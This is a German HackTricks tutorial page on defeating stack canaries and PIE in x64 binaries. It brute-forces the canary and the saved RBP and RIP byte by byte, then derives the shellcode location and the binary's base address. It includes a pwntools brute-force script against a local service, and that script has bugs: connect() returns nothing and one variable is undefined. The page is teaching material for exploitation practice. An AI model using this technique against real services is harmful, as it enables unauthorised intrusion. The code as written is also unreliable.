BF-Adressen im Stack
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Wenn Sie es mit einer binären Datei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, diese zu umgehen.
note
Beachten Sie, dass checksec
möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.
Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
Brute-Force-Adressen
Um PIE zu umgehen, müssen Sie eine Adresse leaken. Und wenn die binäre Datei keine Adressen leakt, ist es am besten, die im Stack gespeicherten RBP und RIP in der verwundbaren Funktion zu brute-forcen.
Wenn beispielsweise eine binäre Datei sowohl durch einen Canary als auch durch PIE geschützt ist, können Sie mit dem Brute-Forcen des Canaries beginnen, dann werden die nächsten 8 Bytes (x64) das gespeicherte RBP und die nächsten 8 Bytes das gespeicherte RIP sein.
tip
Es wird angenommen, dass die Rücksprungadresse im Stack zum Hauptbinärcode gehört, was normalerweise der Fall ist, wenn die Verwundbarkeit im Binärcode liegt.
Um das RBP und das RIP aus der binären Datei zu brute-forcen, können Sie herausfinden, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die gleiche Funktion, die zum Brute-Forcen des Canaries bereitgestellt wird, kann verwendet werden, um das RBP und das RIP zu brute-forcen:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
Das letzte, was Sie benötigen, um das PIE zu besiegen, ist, nützliche Adressen aus den geleakten Adressen zu berechnen: das RBP und das RIP.
Vom RBP aus können Sie berechnen, wo Sie Ihre Shell im Stack schreiben. Dies kann sehr nützlich sein, um zu wissen, wo Sie die Zeichenfolge "/bin/sh\x00" im Stack schreiben werden. Um die Entfernung zwischen dem geleakten RBP und Ihrem Shellcode zu berechnen, können Sie einfach einen Breakpoint setzen, nachdem Sie das RBP geleakt haben, und überprüfen, wo sich Ihr Shellcode befindet. Dann können Sie die Entfernung zwischen dem Shellcode und dem RBP berechnen:
INI_SHELLCODE = RBP - 1152
Von der RIP können Sie die Basisadresse des PIE-Binaries berechnen, die Sie benötigen, um eine gültige ROP-Kette zu erstellen.
Um die Basisadresse zu berechnen, führen Sie einfach objdump -d vunbinary
aus und überprüfen Sie die letzten disassemblierten Adressen:
In diesem Beispiel sehen Sie, dass nur 1 Byte und eineinhalb benötigt werden, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird die geleakte RIP sein, die auf "000" endet. Wenn Sie beispielsweise 0x562002970ecf
geleakt haben, beträgt die Basisadresse 0x562002970000
.
elf.address = RIP - (RIP & 0xfff)
Verbesserungen
Laut einigen Beobachtungen aus diesem Beitrag ist es möglich, dass der Server beim Leaken von RBP- und RIP-Werten nicht abstürzt, wenn einige Werte nicht die richtigen sind, und das BF-Skript denkt, es hätte die richtigen Werte erhalten. Das liegt daran, dass einige Adressen es einfach nicht brechen werden, selbst wenn sie nicht genau die richtigen sind.
Laut diesem Blogbeitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.